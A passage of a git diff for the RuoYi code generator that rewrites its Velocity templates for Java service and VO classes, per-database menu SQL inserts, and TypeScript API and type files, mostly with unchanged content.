LambdaQueryWrapper<${ClassName}> lqw = buildQueryWrapper(bo); + Page<${ClassName}Vo> result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } +#end + + /** + * 查询符合条件的${functionName}列表 + * + * @param bo 查询条件 + * @return ${functionName}列表 + */ + @Override + public List<${ClassName}Vo> queryList(${ClassName}Bo bo) { + LambdaQueryWrapper<${ClassName}> lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper<${ClassName}> buildQueryWrapper(${ClassName}Bo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper<${ClassName}> lqw = Wrappers.lambdaQuery(); +#foreach($column in $columns) +#if($column.query) +#set($queryType=$column.queryType) +#set($javaField=$column.javaField) +#set($javaType=$column.javaType) +#set($columnName=$column.columnName) +#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) +#set($mpMethod=$column.queryType.toLowerCase()) +#if($queryType != 'BETWEEN') +#if($javaType == 'String') +#set($condition='StringUtils.isNotBlank(bo.get'+$AttrName+'())') +#else +#set($condition='bo.get'+$AttrName+'() != null') +#end + lqw.$mpMethod($condition, ${ClassName}::get$AttrName, bo.get$AttrName()); +#else + lqw.between(params.get("begin$AttrName") != null && params.get("end$AttrName") != null, + ${ClassName}::get$AttrName ,params.get("begin$AttrName"), params.get("end$AttrName")); +#end +#end +#set($AttrName=$column.javaField.substring(0,1).toUpperCase() + ${column.javaField.substring(1)}) +#if($column.isPk==1) + lqw.orderByAsc(${ClassName}::get$AttrName); +#end +#end + return lqw; + } + + /** + * 新增${functionName} + * + * @param bo ${functionName} + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(${ClassName}Bo bo) { + ${ClassName} add = MapstructUtils.convert(bo, ${ClassName}.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; +#set($pk=$pkColumn.javaField.substring(0,1).toUpperCase() + ${pkColumn.javaField.substring(1)}) + if (flag) { + bo.set$pk(add.get$pk()); + } + return flag; + } + + /** + * 修改${functionName} + * + * @param bo ${functionName} + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(${ClassName}Bo bo) { + ${ClassName} update = MapstructUtils.convert(bo, ${ClassName}.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(${ClassName} entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除${functionName}信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection<${pkColumn.javaType}> ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/vo.java.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/vo.java.vm index 5591f97..6505662 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/vo.java.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/java/vo.java.vm @@ -1,66 +1,66 @@ -package ${packageName}.domain.vo; - -#foreach ($import in $importList) -import ${import}; -#end -import ${packageName}.domain.${ClassName}; -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * ${functionName}视图对象 ${tableName} - * - * @author ${author} - * @date ${datetime} - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = ${ClassName}.class) -public class ${ClassName}Vo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - -#foreach ($column in $columns) -#if($column.list) - /** - * $column.columnComment - */ -#set($parentheseIndex=$column.columnComment.indexOf("(")) -#if($parentheseIndex != -1) -#set($comment=$column.columnComment.substring(0, $parentheseIndex)) -#else -#set($comment=$column.columnComment) -#end -#if(${column.dictType} && ${column.dictType} != '') - @ExcelProperty(value = "${comment}", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "${column.dictType}") -#elseif($parentheseIndex != -1) - @ExcelProperty(value = "${comment}", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "$column.readConverterExp()") -#else - @ExcelProperty(value = "${comment}") -#end - private $column.javaType $column.javaField; - -#if($column.htmlType == "imageUpload") - /** - * ${column.columnComment}Url - */ - @Translation(type = TransConstant.OSS_ID_TO_URL, mapper = "${column.javaField}") - private String ${column.javaField}Url; -#end -#end -#end - -} +package ${packageName}.domain.vo; + +#foreach ($import in $importList) +import ${import}; +#end +import ${packageName}.domain.${ClassName}; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * ${functionName}视图对象 ${tableName} + * + * @author ${author} + * @date ${datetime} + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = ${ClassName}.class) +public class ${ClassName}Vo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + +#foreach ($column in $columns) +#if($column.list) + /** + * $column.columnComment + */ +#set($parentheseIndex=$column.columnComment.indexOf("(")) +#if($parentheseIndex != -1) +#set($comment=$column.columnComment.substring(0, $parentheseIndex)) +#else +#set($comment=$column.columnComment) +#end +#if(${column.dictType} && ${column.dictType} != '') + @ExcelProperty(value = "${comment}", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "${column.dictType}") +#elseif($parentheseIndex != -1) + @ExcelProperty(value = "${comment}", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "$column.readConverterExp()") +#else + @ExcelProperty(value = "${comment}") +#end + private $column.javaType $column.javaField; + +#if($column.htmlType == "imageUpload") + /** + * ${column.columnComment}Url + */ + @Translation(type = TransConstant.OSS_ID_TO_URL, mapper = "${column.javaField}") + private String ${column.javaField}Url; +#end +#end +#end + +} diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/oracle/sql.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/oracle/sql.vm index f6638be..acfd7d1 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/oracle/sql.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/oracle/sql.vm @@ -1,19 +1,19 @@ --- 菜单 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, sysdate, null, null, '${functionName}菜单'); - --- 按钮 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, sysdate, null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, sysdate, null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, sysdate, null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, sysdate, null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, sysdate, null, null, ''); +-- 菜单 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, sysdate, null, null, '${functionName}菜单'); + +-- 按钮 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, sysdate, null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, sysdate, null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, sysdate, null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, sysdate, null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, sysdate, null, null, ''); diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/postgres/sql.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/postgres/sql.vm index 0923392..33ac311 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/postgres/sql.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/postgres/sql.vm @@ -1,20 +1,20 @@ --- 菜单 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, now(), null, null, '${functionName}菜单'); - --- 按钮 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, now(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, now(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, now(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, now(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, now(), null, null, ''); - +-- 菜单 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, now(), null, null, '${functionName}菜单'); + +-- 按钮 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, now(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, now(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, now(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, now(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, now(), null, null, ''); + diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sql.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sql.vm index 01824c2..3153cec 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sql.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sql.vm @@ -1,19 +1,19 @@ --- 菜单 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, sysdate(), null, null, '${functionName}菜单'); - --- 按钮 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, sysdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, sysdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, sysdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, sysdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, sysdate(), null, null, ''); +-- 菜单 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, sysdate(), null, null, '${functionName}菜单'); + +-- 按钮 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, sysdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, sysdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, sysdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, sysdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, sysdate(), null, null, ''); diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sqlserver/sql.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sqlserver/sql.vm index bdf166e..3cb1070 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sqlserver/sql.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/sql/sqlserver/sql.vm @@ -1,19 +1,19 @@ --- 菜单 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, getdate(), null, null, '${functionName}菜单'); - --- 按钮 SQL -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, getdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, getdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, getdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, getdate(), null, null, ''); - -insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) -values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, getdate(), null, null, ''); +-- 菜单 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[0]}, '${functionName}', '${parentMenuId}', '1', '${businessName}', '${moduleName}/${businessName}/index', 1, 0, 'C', '0', '0', '${permissionPrefix}:list', '#', 103, 1, getdate(), null, null, '${functionName}菜单'); + +-- 按钮 SQL +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[1]}, '${functionName}查询', ${table.menuIds[0]}, '1', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:query', '#', 103, 1, getdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[2]}, '${functionName}新增', ${table.menuIds[0]}, '2', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:add', '#', 103, 1, getdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[3]}, '${functionName}修改', ${table.menuIds[0]}, '3', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:edit', '#', 103, 1, getdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[4]}, '${functionName}删除', ${table.menuIds[0]}, '4', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:remove', '#', 103, 1, getdate(), null, null, ''); + +insert into sys_menu (menu_id, menu_name, parent_id, order_num, path, component, is_frame, is_cache, menu_type, visible, status, perms, icon, create_dept, create_by, create_time, update_by, update_time, remark) +values(${table.menuIds[5]}, '${functionName}导出', ${table.menuIds[0]}, '5', '#', '', 1, 0, 'F', '0', '0', '${permissionPrefix}:export', '#', 103, 1, getdate(), null, null, ''); diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/api.ts.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/api.ts.vm index 9ef9ff4..824a29a 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/api.ts.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/api.ts.vm @@ -1,63 +1,63 @@ -import request from '@/utils/request'; -import {AxiosPromise} from 'axios'; -import {${BusinessName}Form, ${BusinessName}Query, ${BusinessName}VO} from '@/api/'; - -/** - * 查询${functionName}列表 - * @param query - * @returns {*} - */ - -export const list${BusinessName} = (query?: ${BusinessName}Query): AxiosPromise<${BusinessName}VO[]> => { - return request({ - url: '/${moduleName}/${businessName}/list', - method: 'get', - params: query - }); -}; - -/** - * 查询${functionName}详细 - * @param ${pkColumn.javaField} - */ -export const get${BusinessName} = (${pkColumn.javaField}: string | number): AxiosPromise<${BusinessName}VO> => { - return request({ - url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, - method: 'get' - }); -}; - -/** - * 新增${functionName} - * @param data - */ -export const add${BusinessName} = (data: ${BusinessName}Form) => { - return request({ - url: '/${moduleName}/${businessName}', - method: 'post', - data: data - }); -}; - -/** - * 修改${functionName} - * @param data - */ -export const update${BusinessName} = (data: ${BusinessName}Form) => { - return request({ - url: '/${moduleName}/${businessName}', - method: 'put', - data: data - }); -}; - -/** - * 删除${functionName} - * @param ${pkColumn.javaField} - */ -export const del${BusinessName} = (${pkColumn.javaField}: string | number | Array) => { - return request({ - url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, - method: 'delete' - }); -}; +import request from '@/utils/request'; +import {AxiosPromise} from 'axios'; +import {${BusinessName}Form, ${BusinessName}Query, ${BusinessName}VO} from '@/api/'; + +/** + * 查询${functionName}列表 + * @param query + * @returns {*} + */ + +export const list${BusinessName} = (query?: ${BusinessName}Query): AxiosPromise<${BusinessName}VO[]> => { + return request({ + url: '/${moduleName}/${businessName}/list', + method: 'get', + params: query + }); +}; + +/** + * 查询${functionName}详细 + * @param ${pkColumn.javaField} + */ +export const get${BusinessName} = (${pkColumn.javaField}: string | number): AxiosPromise<${BusinessName}VO> => { + return request({ + url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, + method: 'get' + }); +}; + +/** + * 新增${functionName} + * @param data + */ +export const add${BusinessName} = (data: ${BusinessName}Form) => { + return request({ + url: '/${moduleName}/${businessName}', + method: 'post', + data: data + }); +}; + +/** + * 修改${functionName} + * @param data + */ +export const update${BusinessName} = (data: ${BusinessName}Form) => { + return request({ + url: '/${moduleName}/${businessName}', + method: 'put', + data: data + }); +}; + +/** + * 删除${functionName} + * @param ${pkColumn.javaField} + */ +export const del${BusinessName} = (${pkColumn.javaField}: string | number | Array) => { + return request({ + url: '/${moduleName}/${businessName}/' + ${pkColumn.javaField}, + method: 'delete' + }); +}; diff --git a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/types.ts.vm b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/types.ts.vm index 35a468e..9574485 100644 --- a/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/types.ts.vm +++ b/ruoyi-modules/ruoyi-generator/src/main/resources/vm/ts/types.ts.vm @@ -1,64 +1,64 @@ -export interface ${BusinessName}VO { -#foreach ($column in $columns) -#if($column.list) - /** - * $column.columnComment - */ - $column.javaField:#if($column.javaField.indexOf("id") != -1 || $column.javaField.indexOf("Id") != -1) string | number; - #elseif($column.javaType == 'Long' || $column.javaType == 'Integer' || $column.javaType == 'Double' || $column.javaType == 'Float' || $column.javaType == 'BigDecimal') number; - #elseif($column.javaType == 'Boolean') boolean; - #else string; - #end -#if($column.htmlType == "imageUpload") - /** - * ${column.columnComment}Url - */ - ${column.javaField}Url: string; -#end -#end -#end -#if ($table.tree) - /** - * 子对象 - */ - children: ${BusinessName}VO[]; -#end -} - -export interface ${BusinessName}Form extends BaseEntity { -#foreach ($column in $columns) -#if($column.insert || 